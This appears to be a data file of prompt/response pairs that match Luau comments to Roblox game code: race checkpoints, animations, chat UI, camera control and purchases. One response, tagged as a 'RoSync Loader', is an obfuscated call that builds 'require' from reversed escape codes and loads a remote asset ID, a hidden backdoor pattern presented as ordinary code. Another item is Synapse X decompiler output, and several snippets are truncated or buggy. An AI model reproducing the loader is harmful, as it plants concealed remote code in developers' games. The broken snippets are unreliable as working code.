Prompt:
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================

Response:
local function setupCheckpoints(args)
	if not (activePlayer) then return end

	local numLaps = 1
	if #args >= 1 then
		numLaps = args[1]
	end

	-- Player is in race
	inRace = true

	-- Set the number of laps in the race and use it to calc the total number
	-- of checkpoints
	if (numLaps and _numLaps == 0) then
		_numLaps = numLaps
		numCheckpoints = numCheckpoints * _numLaps
	end

	-- Set up checkpoints (color as not hit)
	for _, checkpoint in ipairs(checkpointList) do
		local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint")

		-- Set color of checkpoint
		checkpointCollisionBody.Color = NOT_HIT_COLOR

		-- Set color of checkpoint ring if one exists
		local ring = checkpoint:FindFirstChild("Ring")
		if ring then
			ring.Color = NOT_HIT_COLOR
		end
	end

	if not ArrowGuide then
		ArrowGuide = require(script:WaitForChild("ArrowGuide"))
	end
	arrow = ArrowGuide.new(checkpointList)
end -- setupCheckpoints()

local function checkpointHit(args)
	if not (activePlayer and inRace) then return end

	local checkpointCollisionBody = false
	if #args >= 1 then
		checkpointCollisionBody = args[1]
	else
		return
	end

	local parent = checkpointCollisionBody.Parent

	-- Mark checkpoint as hit
	local hit = parent:FindFirstChild("Hit")
	if not (hit) then
		hit = Instance.new("BoolValue")
		hit.Name = "Hit"
		hit.Parent = parent
		hit.Value = true
	else
		-- Checkpoint already hit
		return
	end

	-- Set color of checkpoint
	checkpointCollisionBody.Color = HIT_COLOR

	-- Set color of checkpoint ring if one exists
	local ring = checkpointCollisionBody.Parent:FindFirstChild("Ring")
	if ring then
		ring.Color = HIT_COLOR
	end

	-- Create particle effect
	local particle = checkpointParticle:Clone()
	local character = player.Character or player.CharacterAdded:wait()
	particle.CFrame = character.PrimaryPart.CFrame
	particle.Parent = character.PrimaryPart

	--particle.CFrame = checkpointCollisionBody.CFrame
	--particle.Parent = checkpointCollisionBody

	local emitterChildren = particle:GetChildren()

	for _, child in pairs(emitterChildren) do
		-- If the child is a particle, then cause it to emit
		if child:IsA("ParticleEmitter") then
			child:Emit(10)
		end
	end

	-- Destroy particle after PARTICLE_DURATION seconds
	spawn(function() wait(PARTICLE_DURATION) particle:Destroy() end)

	-- Play checkpoint sound
	checkpointSound.Parent = checkpointCollisionBody
	checkpointSound:Play()

	-- Increment checkpoints hit count
	numCheckpointsHit = numCheckpointsHit + 1

	-- Display checkpoint count
	CheckpointCount.Text = tostring(numCheckpointsHit).."/"..tostring(numCheckpoints)
end -- checkpointHit()

local function newLap()
	if not (activePlayer and inRace) then return end

	-- Set up checkpoints (color as not hit)
	for _, checkpoint in ipairs(checkpointList) do
		local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint")

		-- Delete hit BoolValue
		local hit = checkpoint:FindFirstChild("Hit")
		if hit then
			hit:Destroy()
		end

		-- Set color of checkpoint
		checkpointCollisionBody.Color = NOT_HIT_COLOR

		-- Set color of checkpoint ring if one exists
		local ring = checkpoint:FindFirstChild("Ring")
		if ring then
			ring.Color = NOT_HIT_COLOR
		end
	end
end -- newLap()

local function resetCheckpoints()
	inRace = false
	numCheckpointsHit = 0

		-- Set up checkpoints (color as not hit)
	for _, checkpoint in ipairs(checkpointList) do
		local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint")

		-- Delete hit BoolValue
		local hit = checkpoint:FindFirstChild("Hit")
		if hit then
			hit:Destroy()
		end

		-- Set color of checkpoint
		checkpointCollisionBody.Color = HIT_COLOR

		-- Set color of checkpoint ring if one exists
		local ring = checkpoint:FindFirstChild("Ring")
		if ring then
			ring.Color = HIT_COLOR
		end
	end

	arrow:Destroy()

	-- Display checkpoint count
	CheckpointCount.Text = tostring(numCheckpointsHit).."/"..tostring(numCheckpoints)
end -- resetCheckpoints()

local function setActive(args)
	local active = false
	if #args >= 1 then
		active = args[1]
	else
		return
	end

	activePlayer = active

	-- No longer in current race if no longer active
	if (not active and inRace) then
		inRace = false
		resetCheckpoints()
	end

	if not active then
		-- Hide racing GUIs
		local PlayerGui = player.PlayerGui
		local TopBar = PlayerGui:FindFirstChild("TopBar")
		TopBar.Enabled = false
	end
end -- setActive()

local function raceFinished()
	RaceFinishedSound:Play()
end

local function checkpointEvent(args)
	for _, arg in pairs(args) do
		if arg[1] == "setup" then
			table.remove(arg, 1)
			setupCheckpoints(arg)
		elseif arg[1] == "checkpointHit" then
			table.remove(arg, 1)
			checkpointHit(arg)
		elseif arg[1] == "newLap" then
			newLap()
		elseif arg[1] == "reset" then
			resetCheckpoints()
		elseif arg[1] == "setActive" then
			table.remove(arg, 1)
			setActive(arg)
		elseif arg[1] == "raceFinished" then
			table.remove(arg, 1)
			raceFinished()
		end
	end
end -- checkpointEvent()


Prompt: --// Handling Settings

Response:
	Firerate = 60 / 780; -- 60 = 1 Minute, 780 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!

	FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive


Prompt: -- Main loop for the entire game

Response:
RaceManager:SetRaceDuration(GameSettings.roundDuration)
while true do
	-- Only enter 'Waiting for Players' loop if there are not enough players to start
	-- a round
	if #PlayerManager.ActivePlayers < GameSettings.minimumPlayers then
		RaceManager:SetRaceStatus(RaceManager.Status.WaitingForPlayers)

		DisplayManager.updateTime(0)
		PlayerManager.MiminumActivePlayers:Wait()
	end

	-- Actual Intermission
	gameTimer:stop()
	RaceManager:SetRaceStatus(RaceManager.Status.WaitingForRaceToStart)
	gameTimer:start(GameSettings.intermissionDuration)
	DisplayManager.trackTimer(gameTimer)
	gameTimer.finished:Wait()

	-- Prepare players at start of race and start countdown
	PlayerManager:PreparePlayers()
	RaceManager:SetRaceStatus(RaceManager.Status.Countdown)

	gameTimer:stop()
	gameTimer:start(GameSettings.countdownDuration)
	DisplayManager.trackTimer(gameTimer)
	gameTimer.finished:Wait()

	-- Start the race
	PlayerManager:StartPlayer()
	RaceManager:SetRaceStatus(RaceManager.Status.RoundInProgress)

	gameTimer:stop()
	gameTimer:start(GameSettings.roundDuration)
	DisplayManager.trackTimer(gameTimer)
	RaceManager:Start(PlayerManager.ActivePlayers)

	-- Waits until the roundEnd event has fired before continuing the script
	local resultString, raceFinished
	raceFinished = RaceManager.RaceFinished:Connect(function(winner)
		if winner then
			resultString = "WINNER: "..winner.Name
			LeaderboardManager:incrementStat(winner, "Wins")
		else
			resultString = "NOBODY WON!"
		end
		raceFinished:Disconnect()
	end)
	RaceManager.RaceFinished:wait()
	DisplayManager.updateTime(0)

	repeat wait() until resultString
	local timeLeft = gameTimer:getTimeLeft() or 0
	local resultTime = GameSettings.roundDuration - timeLeft
	gameTimer:stop()
	PlayerManager:DisplayRoundResult(resultString, resultTime)

	gameTimer:start(GameSettings.transitionEnd)
	DisplayManager.trackTimer(gameTimer)

	-- Starts the end intermission
	RaceManager:SetRaceStatus(RaceManager.Status.RoundOver)

	wait(GameSettings.transitionEnd)

	-- Resets the game by moving players back into the lobby and clearing used variables
	PlayerManager:ResetPlayers()
end


Prompt:
--[[
	Remove the element at the given index.
]]

Response:
local function removeIndex(list, index)
	local new = {}
	local removed = 0

	for i = 1, #list do
		if i == index then
			removed = 1
		else
			new[i - removed] = list[i]
		end
	end

	return new
end

return removeIndex


Prompt: -- / Game Assets / --

Response:
local GameAssets = game.ServerStorage.GameAssets

local Badges = GameAssets.Badges


Response:
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil

function toolKeyFrameReachedFunc(frameName)
	if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
		playToolAnimation(toolAnimName, 0.0, Humanoid)
	end
end

function playToolAnimation(animName, transitionTime, humanoid, priority)

	local roll = math.random(1, animTable[animName].totalWeight)
	local origRoll = roll
	local idx = 1
	while (roll > animTable[animName][idx].weight) do
		roll = roll - animTable[animName][idx].weight
		idx = idx + 1
	end
	--		print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
	local anim = animTable[animName][idx].anim

	if (toolAnimInstance ~= anim) then

		if (toolAnimTrack ~= nil) then
			toolAnimTrack:Stop()
			toolAnimTrack:Destroy()
			transitionTime = 0
		end

		-- load it to the humanoid; get AnimationTrack
		toolAnimTrack = humanoid:LoadAnimation(anim)
		if priority then
			toolAnimTrack.Priority = priority
		end

		-- play the animation
		toolAnimTrack:Play(transitionTime)
		toolAnimName = animName
		toolAnimInstance = anim

		currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
	end
end

function stopToolAnimations()
	local oldAnim = toolAnimName

	if (currentToolAnimKeyframeHandler ~= nil) then
		currentToolAnimKeyframeHandler:disconnect()
	end

	toolAnimName = ""
	toolAnimInstance = nil
	if (toolAnimTrack ~= nil) then
		toolAnimTrack:Stop()
		toolAnimTrack:Destroy()
		toolAnimTrack = nil
	end

	return oldAnim
end


Prompt: --Right Leg


Prompt: -- Connect the ProximityPrompt's Triggered event to the function

Response: Prox.Triggered:Connect(onPromptTriggered)


Prompt: --wander

Response:
function wander()
	local x = math.random(script.Parent.Head.Position.X-50,script.Parent.Head.Position.X+50)
	local z = math.random(script.Parent.Head.Position.Z-50,script.Parent.Head.Position.Z+50)
	GoTo(Vector3.new(x,script.Parent.Head.Position,z))
	wait(wandertime)
end


Prompt:
--[[

Rate = How far left / right it goes; if it's 0, then it will decide randomly between two numbers (Edit in script).
Speed = How many studs it moves per second; if the value is 1, it will move one stud every second; two if value is 2; etc.

--]]

Response:
local object = script.Parent
local speed = object.Speed.Value
local rate = object.Rate.Value
local direction = Vector3.new(1, 0, 0)

part = {
	move = function() -- Makes it a method :D
		local s = 0.03
		for d = 0,1,s do
			object.CFrame = object.CFrame + Vector3.new(s * direction.X, 0, 0)
			if d % (speed / 10) == 0 then
				print(d)
				wait()
			end
		end
	end
}

while true do
	nRate = rate
	if nRate == 1 then
		nRate = 1 --math.random(-1, 1)
	end
	direction = direction * 1
	for i = 1,nRate do
		part:move()
	end
	wait()
end


Prompt: -- Used to lock the chat bar when the user has chat turned off.

Response:
function methods:DoLockChatBar()
	if self.TextLabel then
		if LocalPlayer.UserId > 0 then
			self.TextLabel.Text = ChatLocalization:Get(
				"GameChat_ChatMessageValidator_SettingsError",
				"To chat in game, turn on chat in your Privacy Settings."
			)
		else
			self.TextLabel.Text = ChatLocalization:Get(
				"GameChat_SwallowGuestChat_Message",
				"Sign up to chat in game."
			)
		end
		self:CalculateSize()
	end
	if self.TextBox then
		self.TextBox.Active = false
		self.TextBox.Focused:connect(function()
			self.TextBox:ReleaseFocus()
		end)
	end
end

function methods:SetUpTextBoxEvents(TextBox, TextLabel, MessageModeTextButton)
	-- Clean up events from a previous setup.
	for name, conn in pairs(self.TextBoxConnections) do
		conn:disconnect()
		self.TextBoxConnections[name] = nil
	end

	--// Code for getting back into general channel from other target channel when pressing backspace.
	self.TextBoxConnections.UserInputBegan = UserInputService.InputBegan:connect(function(inputObj, gpe)
		if (inputObj.KeyCode == Enum.KeyCode.Backspace) then
			if (self:IsFocused() and TextBox.Text == "") then
				self:SetChannelTarget(ChatSettings.GeneralChannelName)
			end
		end
	end)

	self.TextBoxConnections.TextBoxChanged = TextBox.Changed:connect(function(prop)
		if prop == "AbsoluteSize" then
			self:CalculateSize()
			return
		end

		if prop ~= "Text" then
			return
		end

		self:CalculateSize()

		if FFlagUserChatNewMessageLengthCheck2 then
			if utf8.len(utf8.nfcnormalize(TextBox.Text)) > ChatSettings.MaximumMessageLength then
				TextBox.Text = self.PreviousText
			else
				self.PreviousText = TextBox.Text
			end
		else
			if (string.len(TextBox.Text) > ChatSettings.MaximumMessageLength) then
				TextBox.Text = string.sub(TextBox.Text, 1, ChatSettings.MaximumMessageLength)
				return
			end
		end

		if not self.InCustomState then
			local customState = self.CommandProcessor:ProcessInProgressChatMessage(TextBox.Text, self.ChatWindow, self)
			if customState then
				self.InCustomState = true
				self.CustomState = customState
			end
		else
			self.CustomState:TextUpdated()
		end
	end)

	local function UpdateOnFocusStatusChanged(isFocused)
		if isFocused or TextBox.Text ~= "" then
			TextLabel.Visible = false
		else
			TextLabel.Visible = true
		end
	end

	self.TextBoxConnections.MessageModeClick = MessageModeTextButton.MouseButton1Click:connect(function()
		if MessageModeTextButton.Text ~= "" then
			self:SetChannelTarget(ChatSettings.GeneralChannelName)
		end
	end)

	self.TextBoxConnections.TextBoxFocused = TextBox.Focused:connect(function()
		if not self.UserHasChatOff then
			self:CalculateSize()
			UpdateOnFocusStatusChanged(true)
		end
	end)

	self.TextBoxConnections.TextBoxFocusLost = TextBox.FocusLost:connect(function(enterPressed, inputObject)
		self:CalculateSize()
		if (inputObject and inputObject.KeyCode == Enum.KeyCode.Escape) then
			TextBox.Text = ""
		end
		UpdateOnFocusStatusChanged(false)
	end)
end

function methods:GetTextBox()
	return self.TextBox
end

function methods:GetMessageModeTextButton()
	return self.GuiObjects.MessageModeTextButton
end


Prompt: -- Note: Called whenever workspace.CurrentCamera changes, but also on initialization of this script

Response:
function CameraModule:OnCurrentCameraChanged()
	local currentCamera = game.Workspace.CurrentCamera
	if not currentCamera then return end

	if self.cameraSubjectChangedConn then
		self.cameraSubjectChangedConn:Disconnect()
	end

	if self.cameraTypeChangedConn then
		self.cameraTypeChangedConn:Disconnect()
	end

	self.cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
		self:OnCameraSubjectChanged(currentCamera.CameraSubject)
	end)

	self.cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):Connect(function()
		self:OnCameraTypeChanged(currentCamera.CameraType)
	end)

	self:OnCameraSubjectChanged(currentCamera.CameraSubject)
	self:OnCameraTypeChanged(currentCamera.CameraType)
end

function CameraModule:OnLocalPlayerCameraPropertyChanged(propertyName: string)
	if propertyName == "CameraMode" then
		-- CameraMode is only used to turn on/off forcing the player into first person view. The
		-- Note: The case "Classic" is used for all other views and does not correspond only to the ClassicCamera module
		if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then
			-- Locked in first person, use ClassicCamera which supports this
			if not self.activeCameraController or self.activeCameraController:GetModuleName() ~= "ClassicCamera" then
				self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(Enum.DevComputerCameraMovementMode.Classic))
			end

			if self.activeCameraController then
				self.activeCameraController:UpdateForDistancePropertyChange()
			end
		elseif Players.LocalPlayer.CameraMode == Enum.CameraMode.Classic then
			-- Not locked in first person view
			local cameraMovementMode = self:GetCameraMovementModeFromSettings()
			self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
		else
			warn("Unhandled value for property player.CameraMode: ",Players.LocalPlayer.CameraMode)
		end

	elseif propertyName == "DevComputerCameraMode" or
		propertyName == "DevTouchCameraMode" then
		local cameraMovementMode = self:GetCameraMovementModeFromSettings()
		self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))

	elseif propertyName == "DevCameraOcclusionMode" then
		self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode)

	elseif propertyName == "CameraMinZoomDistance" or propertyName == "CameraMaxZoomDistance" then
		if self.activeCameraController then
			self.activeCameraController:UpdateForDistancePropertyChange()
		end
	elseif propertyName == "DevTouchMovementMode" then
	elseif propertyName == "DevComputerMovementMode" then
	elseif propertyName == "DevEnableMouseLock" then
		-- This is the enabling/disabling of "Shift Lock" mode, not LockFirstPerson (which is a CameraMode)
		-- Note: Enabling and disabling of MouseLock mode is normally only a publish-time choice made via
		-- the corresponding EnableMouseLockOption checkbox of StarterPlayer, and this script does not have
		-- support for changing the availability of MouseLock at runtime (this would require listening to
		-- Player.DevEnableMouseLock changes)
	end
end

function CameraModule:OnUserGameSettingsPropertyChanged(propertyName: string)
	if propertyName == "ComputerCameraMovementMode" then
		local cameraMovementMode = self:GetCameraMovementModeFromSettings()
		self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
	end
end


Prompt: -- ProductId 1218012568 for 5000 Cash

Response:
developerProductFunctions[Config.DeveloperProductIds["5000 Cash"]] = function(receipt, player)
	-- Logic/code for player buying 5000 Cash (may vary)
	local leaderstats = player:FindFirstChild("leaderstats")
	local cash = leaderstats and leaderstats:FindFirstChild("Cash")
	if cash then
		cash.Value += 5000
		-- Indicate a successful purchase
		return true
	end
end


Prompt: --//Character//--

Response:
local Character = script.Parent
local HRP = Character:WaitForChild("HumanoidRootPart")
local Player = game.Players:GetPlayerFromCharacter(Character)

local Humanoid = Character:WaitForChild("Humanoid")
Humanoid.BreakJointsOnDeath = false


Response:
wait(1)
	powerlmp.Value = true

function Alert()
	script.Parent.Assembly.Sound.Click:Play()
script.AttackScript.Disabled = true
script.FireScript.Disabled = true
script.Parent.Parent.On.Value = true
end

function Test()
script.Parent.Assembly.Sound.Click:Play()
script.AttackScript.Disabled = true
script.FireScript.Disabled = true
script.Parent.Parent.On.Value = true
end

function Fire()
script.Parent.Assembly.Sound.Click:Play()
script.AttackScript.Disabled = true
script.FireScript.Disabled = false
script.Parent.Parent.On.Value = true
end

function Attack()
script.AttackScript.Disabled = false
script.FireScript.Disabled = true
end

function Cancel()
script.Parent.Assembly.Sound.Click:Play()
script.AttackScript.Disabled = true
script.FireScript.Disabled = true
script.Parent.Values.Mode.Value = 0
script.Parent.Parent.On.Value = false
script.Parent.Values.TimerOn.Value = false
end

function Timer()
script.Timer.Disabled = false
signallmp.Value = true
end

script.Parent.Values.TimerOn.Changed:connect(function()
if script.Parent.Values.TimerOn.Value == true then
if script.Parent.Values.Mode.Value == 1 then
Alert()
Timer()
elseif script.Parent.Values.Mode.Value == 2 then
Attack()
Timer()
elseif script.Parent.Values.Mode.Value == 3 then
Fire()
Timer()
elseif script.Parent.Values.Mode.Value == 7 then
Test()
elseif script.Parent.Values.Mode.Value == 0 then
script.AttackScript.Disabled = true
Cancel()
end
end
end)

script.Parent.Values.Mode.Changed:connect(function()
if script.Parent.Values.Mode.Value == 0 then
Cancel()
end
end)


Prompt: --if Fuel.Value > 0 then

Response: Fuel.Value = Fuel.Value - (oldpos - newpos).magnitude


Prompt:
--[[character.ChildAdded:Connect(function(child)
	if child:IsA("Tool") then
		equipped	= true
		IdleAnimation:Play()
		if sprinting then
			IdleAnimation:Stop()
			SprintAnimation:Play()
		end
		toolEvent		= child.Activated:Connect(function()
			if child.GunType.Value ~= "heal" then
				shooting 	= true
				if sprinting then
					humanoid.WalkSpeed = 16;
					sprinting = false
					SprintAnimation:Stop()
					IdleAnimation:Play()
				end
			end
		end)
		toolEventDe	 	= child.Deactivated:Connect(function()
			shooting 	= false
		end)
	end
end)
character.ChildRemoved:Connect(function(child)
	if child:IsA("Tool") then
		equipped	= false
		IdleAnimation:Stop()
		SprintAnimation:Stop()

		if toolEvent ~= nil then
			toolEvent:Disconnect()
			toolEventDe:Disconnect()
		end
	end
end)]]


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
return function(p1)
	local l__Player__1 = p1.Player;
	local l__Message__2 = p1.Message;
	local l__Title__3 = p1.Title;
	local v4 = client.UI.Make("Window", {
		Name = "PrivateMessage",
		Title = tostring(l__Player__1),
		Size = { 300, 150 }
	});
	local v5 = v4:Add("TextLabel", {
		Text = p1.Message,
		Size = UDim2.new(1, -10, 1, -40),
		BackgroundTransparency = 1,
		TextScaled = true,
		TextWrapped = true
	});
	local u1 = false;
	local l__Player__2 = service.Player;
	local u3 = v4:Add("TextBox", {
		Text = "",
		PlaceholderText = "Enter reply",
		Size = UDim2.new(1, -65, 0, 30),
		Position = UDim2.new(0, 5, 1, -35),
		ClearTextOnFocus = false,
		TextScaled = true
	});
	local v6 = {
		Text = "Send",
		Size = UDim2.new(0, 60, 0, 30),
		Position = UDim2.new(1, -65, 1, -35)
	};
	local function u4(p2)
		if not u1 then
			u1 = true;
			if p2 then
				v4:Close();
				client.Remote.Send("PrivateMessage", "Reply from " .. l__Player__2.Name, l__Player__1, l__Player__2, u3.Text);
				client.UI.Make("Hint", {
					Message = "Reply sent"
				});
			end;
			u1 = false;
		end;
	end;
	function v6.OnClick()
		u4(true);
	end;
	local v7 = v4:Add("TextButton", v6);
	v7.BackgroundColor3 = v7.BackgroundColor3:lerp(Color3.new(0, 0, 0), 0.1);
	u3.FocusLost:connect(u4);
	local l__gTable__8 = v4.gTable;
	client.UI.Make("Notification", {
		Title = "New Message",
		Message = "Message from " .. l__Player__1.Name,
		Time = false,
		OnClick = function()
			v4:Ready();
		end,
		OnClose = function()
			v4:Destroy();
		end,
		OnIgnore = function()
			v4:Destroy();
		end
	});
end;


Prompt: --[[ Last synced 10/14/2020 09:24 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: --//Controller//--

Response:
for _, Floaty in pairs(Floaties:GetChildren()) do
	if Floaty:IsA("BasePart") then
		local OrgPos = Floaty.CFrame
		local FloatPos = OrgPos * CFrame.new(
			Random.new():NextNumber(-0.15, 0.15),
			Random.new():NextNumber(0.15, 0.35),
			Random.new():NextNumber(-0.15, 0.15)

		) * CFrame.Angles(
			math.rad(Random.new():NextNumber(-3, 3)),
			math.rad(Random.new():NextNumber(-3, 3)),
			math.rad(Random.new():NextNumber(-3, 3))

		)

		TweenService:Create(
			Floaty,
			TweenInfo.new(
				Random.new():NextNumber(4, 10),
				Enum.EasingStyle.Cubic,
				Enum.EasingDirection.InOut,
				-1,
				true, 0
			),
			{CFrame = FloatPos}
		):Play()

	elseif Floaty:IsA("Model") then
		local PrimaryPart = Floaty.PrimaryPart

		local OrgPos = PrimaryPart.CFrame
		local FloatPos = OrgPos * CFrame.new(
			Random.new():NextNumber(-0.5, 0.5),
			Random.new():NextNumber(-5, 5),
			Random.new():NextNumber(-0.5, 0.5)

		) * CFrame.Angles(
			math.rad(Random.new():NextNumber(-360, 360)),
			math.rad(Random.new():NextNumber(-360, 360)),
			math.rad(Random.new():NextNumber(-360, 360))

		)

		TweenService:Create(
			Floaty.PrimaryPart,
			TweenInfo.new(
				Random.new():NextNumber(10, 15),
				Enum.EasingStyle.Cubic,
				Enum.EasingDirection.InOut,
				-1,
				true, 0
			),
			{CFrame = FloatPos}
		):Play()
	end
end


Prompt: --WeldRec(P.Parent.Lights)

Response:
for _,v in pairs(weldedParts) do
	if v:IsA("BasePart") then
		wait(2)
		v.Anchored = false
	end
end

script:Destroy()


Response:
local idk = 0.09 -- number of seconds (type a smaller number if you want it to be faster, or larger to be slower)

while true do -- loop
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8574619105" -- 0
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582705437" -- 1
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582853792" -- 2
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582862325" -- 3
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582872626" -- 4
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582889931" -- 5
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582895559" -- 6
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582902014" -- 7
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582905652" -- 8
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582908281" -- 9
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582914909" -- 10
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582917602" -- 11
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582920389" -- 12
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582922411" -- 13
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582923430" -- 14
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582924089" -- 15
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582925377" -- 16
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582926419" -- 17
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582927354" -- 18
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582928485" -- 19
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582962385" -- 20
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582966006" -- 21
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582970043" -- 22
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582971526" -- 23
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582976022" -- 24
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582978553" -- 25
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582981543" -- 26
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582983664" -- 27
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582985386" -- 28
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582987054" -- 29
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582989695" -- 30
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582990702" -- 31
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582995438" -- 32
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8582996385" -- 33
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8583002659" -- 34
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8583011681" -- 35
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8583025661" -- 36
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8583028764" -- 37
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8583038094" -- 38
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8583041516" -- 39
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8583042812" -- 40
	wait(idk)
	script.Parent.Texture = "http://www.roblox.com/asset/?id=8583043737" -- 41
	wait(idk)
end


Prompt:
--[[
Data Ekleme ornek (remotevente bagla)
for i,v in pairs(_G.GlobalData) do
				if v.UserId == targ.UserId then
					for i,data in pairs(_G.GlobalData) do
						if data.UserId == target.UserId then
							table.insert(data.Arrests, 1, pushTab) --Arresting officer, arrest reason, jail time, date
						end

--]]

Response: local storage = require(script:WaitForChild("Storage"))


Prompt: -- play the animation

Response:
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
toolAnimInstance = anim
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
toolAnimInstance = nil
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end


Prompt:
--[[
	Used to decrease the number of consumers by 1, and if there are no more,
	cancel this promise.
]]

Response:
function Promise.prototype:_consumerCancelled(consumer)
	if self._status ~= Promise.Status.Started then
		return
	end

	self._consumers[consumer] = nil

	if next(self._consumers) == nil then
		self:cancel()
	end
end


Prompt: --[[ FUNCTIONS ]]

Response:
local function lerpLength(msg, min, max)
	return min + (max - min) * math.min(getMessageLength(msg) / 75.0, 1.0)
end

local function createFifo()
	local this = {}
	this.data = {}

	local emptyEvent = Instance.new("BindableEvent")
	this.Emptied = emptyEvent.Event

	function this:Size()
		return #this.data
	end

	function this:Empty()
		return this:Size() <= 0
	end

	function this:PopFront()
		table.remove(this.data, 1)
		if this:Empty() then emptyEvent:Fire() end
	end

	function this:Front()
		return this.data[1]
	end

	function this:Get(index)
		return this.data[index]
	end

	function this:PushBack(value)
		table.insert(this.data, value)
	end

	function this:GetData()
		return this.data
	end

	return this
end

local function createCharacterChats()
	local this = {}

	this.Fifo = createFifo()
	this.BillboardGui = nil

	return this
end

local function createMap()
	local this = {}
	this.data = {}
	local count = 0

	function this:Size()
		return count
	end

	function this:Erase(key)
		if this.data[key] then count = count - 1 end
		this.data[key] = nil
	end

	function this:Set(key, value)
		this.data[key] = value
		if value then count = count + 1 end
	end

	function this:Get(key)
		if not key then return end
		if not this.data[key] then
			this.data[key] = createCharacterChats()
			local emptiedCon = nil
			emptiedCon = this.data[key].Fifo.Emptied:connect(function()
				emptiedCon:disconnect()
				this:Erase(key)
			end)
		end
		return this.data[key]
	end

	function this:GetData()
		return this.data
	end

	return this
end

local function createChatLine(message, bubbleColor, isLocalPlayer)
	local this = {}

	function this:ComputeBubbleLifetime(msg, isSelf)
		if isSelf then
			return lerpLength(msg, 8, 15)
		else
			return lerpLength(msg, 12, 20)
		end
	end

	this.Origin = nil
	this.RenderBubble = nil
	this.Message = message
	this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer)
	this.BubbleColor = bubbleColor
	this.IsLocalPlayer = isLocalPlayer

	return this
end

local function createPlayerChatLine(player, message, isLocalPlayer)
	local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer)

	if player then
		this.User = player.Name
		this.Origin = player.Character
	end

	return this
end

local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor)
	local this = createChatLine(message, bubbleColor, isLocalPlayer)
	this.Origin = origin

	return this
end

function createChatBubbleMain(filePrefix, sliceRect)
